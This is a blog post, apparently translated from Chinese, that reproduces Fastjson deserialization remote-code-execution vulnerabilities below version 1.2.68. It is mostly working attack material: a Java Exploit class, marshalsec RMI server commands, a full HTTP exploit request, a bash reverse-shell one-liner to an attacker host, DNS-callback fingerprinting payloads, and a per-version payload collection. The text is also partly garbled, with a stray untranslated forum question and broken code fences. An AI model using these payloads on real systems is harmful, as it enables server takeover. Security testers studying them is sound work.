ZZeo.
ZH
← Back to all posts
Web Vulnerability Reproduction and Analysis5 min read

Red Team Arsenal: Reproducing RCE Exploits for All Fastjson Vulnerabilities Below 1.2.68

0x01 Vulnerability Introduction: Fastjson is an open-source JSON parser developed by Alibaba. Its excellent performance has led to widespread use in Java projects from major vendors. Fastjson introduced a deserialization whitelist after version 1.2.24, but in versions earlier than 1.2.48, attackers can bypass whitelist checks using specially crafted JSON strings and successfully execute arbitrary commands. 0x02 Affected Versions…

Published Jul 04, 2020
Read in Chinese→

0x01 Vulnerability Introduction

Fastjson is an open-source JSON parser developed by Alibaba. Its excellent performance has led to widespread use in Java projects from major vendors. Fastjson introduced a deserialization whitelist after version 1.2.24, but in versions earlier than 1.2.48, attackers can bypass whitelist checks using specially crafted JSON strings and successfully execute arbitrary commands.

0x02 Affected Versions

Fastjson < 1.2.68

The disclosed Fastjson bypass method affects all versions earlier than 1.2.68.

0x03 Vulnerability Reproduction

The following example uses Fastjson 1.2.47 because Vulhub provides a ready-made environment, making reproduction very convenient.``` P牛我用vulhub中的 1.2.47的docker 想测试doslog检查 fastjson 但是总是收到不到dnslog 但是正常的exp反弹shell就是可以我很疑惑
我的用法正确吗，用的这个{“@type”:“java.net.Inet4Address”,“val”:“bouaiq.dnslog.cn”}


![image-20200704111745527](/images/16fc85a5-f026-4b01-8424-a891223b565f.png)

Host A: Host with a fastjson deserialization vulnerability  
Host C: RMI/LDAP service  
Host B: Hosts the crafted malicious class (containing the command to be executed)

### Throughout the remote command execution process

1. The attacker uses a payload to attack Host A (the payload must specify an rmi/ldap address)

2. Host A triggers the deserialization vulnerability and initiates an rmi remote invocation to connect to Host C

3. The rmi service on Host C instructs Host A to load the malicious java class from Host B. Therefore, through the rmi service on Host C, Host A ultimately loads and executes the malicious java class hosted on Host B

4. Host A executes the malicious system command

# 0x04 Reproduction Procedure

Reproduce the environment according to the process shown above:

Host A: [http://1.1.1.1:8090](http://1.1.1.1:8090/) \(Host with the Fastjson vulnerability\)  
Host B: [http://2.2.2.2:8888](http://2.2.2.2:8888/) \(Service hosting the malicious java class\)  
Host C: rmi://2.2.2.2:9999 \(Remote method invocation service\)

In practice, Hosts B and C are the same machine using different ports)

## 0x041 Constructing the Malicious Method

The target environment is `openjdk:8u102`. This version is not subject to the `com.sun.jndi.rmi.object.trustURLCodebase` restriction, so we can easily use RMI to execute commands.

First, compile and upload the command execution code

Use the following payload:

Here, touch /zydx666 is the system command and can be modified as needed

Note that the file must be named Exploit.java; this fixed naming format cannot be changed```php
import java.io.BufferedReader;
import java.io.InputStream;
import java.io.InputStreamReader;

public class Exploit{
    public Exploit() throws Exception {
        Process p = Runtime.getRuntime().exec(new String[]{"bash", "-c", "touch /zydx666"});
        InputStream is = p.getInputStream();
        BufferedReader reader = new BufferedReader(new InputStreamReader(is));

        String line;
        while((line = reader.readLine()) != null) {
            System.out.println(line);
        }

        p.waitFor();
        is.close();
        reader.close();
        p.destroy();
    }

    public static void main(String[] args) throws Exception {
    }
}
```On Host B, use the javac command to compile the Exploit.java file, generating an Exploit.class file.```php
javac Exploit.java
```Then start an HTTP service on host B. Any middleware will work, as long as the Exploit.class file is accessible. Here, Python 3 is used to start a temporary HTTP server.```php
python3 -m http.server --bind 0.0.0.0 8888
```## 0x042 Enable the Remote Method Invocation (RMI) Service

Next, enable the RMI service on **Host C**.```shell
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://1.1.1.1:8888/#Exploit" 9999
```marshalsec-0.0.3-SNAPSHOT-all.jar

Refer to https://github.com/mbechler/marshalsec

At this point, all services are ready.

## 0x043 Send the payload

Next, send the fastjson deserialization vulnerability payload to **Host A** (the vulnerable machine).```php
POST / HTTP/1.1
Host: 1.1.1.1:8090
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/json
Content-Length: 260

{
    "a":{
        "@type":"java.lang.Class",
        "val":"com.sun.rowset.JdbcRowSetImpl"
    },
    "b":{
        "@type":"com.sun.rowset.JdbcRowSetImpl",
        "dataSourceName":"rmi://2.2.2.2:9999/Exploit",
        "autoCommit":true
    }
}
```At this point, Host A receives the POST request, triggering the deserialization vulnerability and ultimately executing the contents of the Exploit.class file.

![image-20200703234748062](/images/e1967a18-3cb7-4ed2-9ce5-db033c4edfa4.png)

I used a reverse shell command.

The reverse shell was established successfully:

![image-20200703234115010](/images/9207575f-40dc-43d5-b827-7ff49d2cc6a8.png)

# 0x05 Simplified Attack Tool

A simplified tool is provided below.

It uses https://github.com/wyzxxz/fastjson\_rce\_tool这位师傅写的，一键起服务和生成恶意代码整个rmi+class文件的jar包

Step 1: Simply start it on your own server.```
java -cp fastjson_tool.jar fastjson.HRMIServer 1.1.1.1 8888 "bash=bash -i >&/dev/tcp/x.x.x.x/80 0>&1" 
```Step 2: Send the payload

![](/images/99e6b0ef-8be4-45c5-8e89-4339579dbeaf.png)

Successfully obtained a reverse shell

![image-20200703234914580](/images/b817d4fb-f305-4636-a920-b4a27236020c.png)

# 0x06 Vulnerability Detection

## **The target may be using Fastjson, but the site displays raw error messages**

If the site displays raw error messages, you can trigger an error by leaving a closing brace unmatched. The resulting error message will often contain the term `fastjson`.

For example:

![image-20200704162617071](/images/53903b44-9dd5-43eb-8bb1-f8ec22da83c3.png)

## **No response output: blindly distinguish between Fastjson and Jackson using DNS callbacks**

I used the following payload for testing:```
{"zeo":{"@type":"java.net.Inet4Address","val":"745shj.dnslog.cn"}}
```![image-20200704162844047](/images/ec7eb2df-676c-4365-9b80-3872b13e7ee1.png)

Finally received the DNS log callback

![image-20200704162922529](/images/319442ca-e970-4b33-a834-ccccc355cbf5.png)

## The latest version, 1.2.67, can still be checked via DNS log callbacks to determine whether the backend uses Fastjson```
{"@type":"java.net.Inet4Address","val":"dnslog"}
{"@type":"java.net.Inet6Address","val":"dnslog"}
```deformed```
{"@type":"java.net.InetSocketAddress"{"address":,"val":"dnslog"}}
```![](/images/abca46e1-36c7-4a5a-b097-9882a56e5758.png)

POC:

It needs to be nested inside zeo.```
{"zeo":{"@type":"java.net.Inet4Address","val":"dnslog"}}
{"@type":"java.net.Inet4Address","val":"dnslog"}
{"@type":"java.net.Inet6Address","val":"dnslog"}
{"@type":"java.net.InetSocketAddress"{"address":,"val":"dnslog"}}
{"@type":"com.alibaba.fastjson.JSONObject", {"@type": "java.net.URL", "val":"dnslog"}}""}
{{"@type":"java.net.URL","val":"dnslog"}:"aaa"}
Set[{"@type":"java.net.URL","val":"dnslog"}]
Set[{"@type":"java.net.URL","val":"dnslog"}
{{"@type":"java.net.URL","val":"dnslog"}:0
```# 0x07 Multi-Version Payload Collection

Affected versions:

### fastjson\<=1.2.24

Exploit:```
{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://x.x.x.x:1099/jndi", "autoCommit":true}
```Affected versions:

### fastjson\<=1.2.41

Prerequisite:  
The autoTypeSupport property must be set to true. (fastjson>=1.2.25 is false by default)

Exploit:```
{"@type":"Lcom.sun.rowset.JdbcRowSetImpl;","dataSourceName":"rmi://x.x.x.x:1098/jndi", "autoCommit":true}
```Affected versions:

### fastjson<=1.2.42

Prerequisite:  
The autoTypeSupport property must be set to true for this to work.（fastjson>=1.2.25 is false by default)

Exploit:```
{"@type":"LLcom.sun.rowset.JdbcRowSetImpl;;","dataSourceName":"ldap://localhost:1399/Exploit", "autoCommit":true}
```Affected versions:

### fastjson<=1.2.43

Prerequisite:  
The autoTypeSupport property must be set to true. (fastjson>=1.2.25 is false by default)

Exploit:```
{"@type":"[com.sun.rowset.JdbcRowSetImpl"[{,"dataSourceName":"ldap://localhost:1399/Exploit", "autoCommit":true}
```Affected versions:

### fastjson<=1.2.45

Prerequisite:  
The autoTypeSupport property must be set to true for this exploit to work. (fastjson>=1.2.25 is false by default)

Exploit:```
{"@type":"org.apache.ibatis.datasource.jndi.JndiDataSourceFactory","properties":{"data_source":"ldap://localhost:1399/Exploit"}}

Affected versions:

fastjson<=1.2.47

exp：

{
    "a": {
        "@type": "java.lang.Class", 
        "val": "com.sun.rowset.JdbcRowSetImpl"
    }, 
    "b": {
        "@type": "com.sun.rowset.JdbcRowSetImpl", 
        "dataSourceName": "ldap://x.x.x.x:1999/Exploit", 
        "autoCommit": true
    }
}
```Affected versions:

### fastjson\<=1.2.62

Exploit:```
{"@type":"org.apache.xbean.propertyeditor.JndiConverter","AsText":"rmi://127.0.0.1:1098/exploit"}"
```Affected versions:

### fastjson\<=1.2.66

Prerequisite:  
The autoTypeSupport property must be set to true. (fastjson>=1.2.25 is false by default)

Exploit:```
{"@type":"org.apache.shiro.jndi.JndiObjectFactory","resourceName":"ldap://192.168.80.1:1389/Calc"}

{"@type":"br.com.anteros.dbcp.AnterosDBCPConfig","metricRegistry":"ldap://192.168.80.1:1389/Calc"}

{"@type":"org.apache.ignite.cache.jta.jndi.CacheJndiTmLookup","jndiNames":"ldap://192.168.80.1:1389/Calc"}

{"@type":"com.ibatis.sqlmap.engine.transaction.jta.JtaTransactionConfig","properties": {"@type":"java.util.Properties","UserTransaction":"ldap://192.168.80.1:1399/Calc"}}